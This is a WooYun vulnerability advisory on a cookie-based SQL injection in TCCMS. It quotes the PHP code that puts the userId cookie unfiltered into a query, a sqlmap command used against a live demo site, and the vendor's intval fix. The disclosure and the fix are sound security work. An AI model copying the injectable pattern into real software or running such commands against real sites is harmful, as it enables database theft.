当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(7) 关注此漏洞

缺陷编号: WooYun-2013-41200

漏洞标题: TCCMS全版本COOKIE注入(已演示证明)

相关厂商: teamcen.com

漏洞作者: lxj616

提交时间: 2013-11-01 11:06

公开时间: 2014-01-30 11:07

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 php源码分析

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-01: 细节已通知厂商并且等待厂商处理中
2013-11-01: 厂商已经确认,细节仅向厂商公开
2013-11-04: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2013-12-26: 细节向核心白帽子及相关领域专家公开
2014-01-05: 细节向普通白帽子公开
2014-01-15: 细节向实习白帽子公开
2014-01-30: 细节向公众公开

简要描述:

TCCMS teamcen.com Cookie Injection
具体请见详细说明
证明处使用SQLMAP注射成功

详细说明:

/public/Class/Authen.class.php

省略无关代码

请注意添加注释处代码,下同

code 区域
public static function checkUserLogin() {
$_Obj = M("user");
if (empty($_COOKIE['userId']) || empty($_COOKIE['AuthenId'])) {return false;}
//下面的语句直接使用$_COOKIE['userId']没有过滤
$sql="select password from ".$_Obj->table." where id=".$_COOKIE['userId'];
//不考虑之后的代码,如果没有其他限制至少可以盲注
$info = $_Obj->query($sql);
if (!empty($_COOKIE['AuthenId']) && md5($info[0][password].Config::get("anthenKey")) == $_COOKIE['AuthenId']) {
return true;
}
return false;
}

//下面函数与之后提到的攻击向量有关
public static function checkIsSelfData($uid) {
if (self::isAdmin()) {return true;}
if ($uid == $_COOKIE['userId'] && self::checkUserLogin()) {return true;}
return false;
}



那么我们要定位漏洞代码的触发位置

/core/controller/user.class.php



攻击向量:



update()-------------》Authen::checkIsSelfData-------》checkUserLogin()

缺陷参数:userID



code 区域
public function update() {

…………省略无关代码…………

//禁止修改别人的
$IsSelfData = Authen::checkIsSelfData($_Obj->id);
if (!$IsSelfData) {
$this->setValue("error", Config::lang("NOTRIGHT"));
$this->forward("error.html");
exit;
}
$_Obj->update();
StringUtil::msgbox(Config::lang("MODIFYSUCCESS"), 'index.php?ac=user_info', 1);
}





即:在更新个人信息时可以直接将cookie中的userID带入数据库查询,形成注射



下面是利用SQLMAP的证明

漏洞证明:

演示的站点为 **.**.**.**

理事会员-中国社会新闻网理事会员-中国社会新闻网 - Power By TCCMS

本机测试时的命令

code 区域
C:\Users\Administrator.PC-20110802HBAF>sqlmap.py -u "**.**.**.**/index.php
?ac=user_update" --data "abc" --cookie "Cookie=PHPSESSID=0lc04nmbqmmtr420c83n8ov
3g4; userId=37; AuthenId=2fd1239168e9fabd621a8d00fba03203" --level 2 --table --d
bms=mysql



tccms_1.jpg



跑了下数据库,证明即可

tccms_2.jpg





注意,请在复现漏洞时将COOKIE换为对应的有效COOKIE(可以注册一个)

修复方案:

checkUserLogin() 严格过滤userID

版权声明:转载请注明来源 lxj616@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-11-01 13:20

厂商回复:

感谢乌云感谢lxj616对TCCMS开源产品的检测,已经进行了修复。
CODE:
/public/Class/Authen.class.php、
checkUserLogin();
intval($_COOKIE['userId']);

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
50%
0%
0%
0%
50%

评价

  1. 2015-07-03 22:40 | 0c0c0f ( 实习白帽子 | Rank:50 漏洞数:16 | My H34rt c4n 3xploit 4ny h0les!)
    0

    @sxj616 请问cookie里面的userId sqlmap怎么不会测试bool 形式 盲注?我用sqlmap没跑出来

  2. 2015-07-04 08:46 | lxj616 ( 普通白帽子 | Rank:455 漏洞数:92 | 来自喵星的太空喵)
    0

    @0c0c0f 1.cookie要换成你自己的cookie,不要用我自己的cookie(已经失效) 2.目前该漏洞已经修补,如果你只是复制粘贴我的sqlmap语句,应该是不行的,需要找到老版本TCCMS源代码测试

  3. 2015-07-04 10:11 | 0c0c0f ( 实习白帽子 | Rank:50 漏洞数:16 | My H34rt c4n 3xploit 4ny h0les!)
    0

    @lxj616 我修改了代码进行的测试,cookie也是最新的。

登录后才能发表评论,请先 登录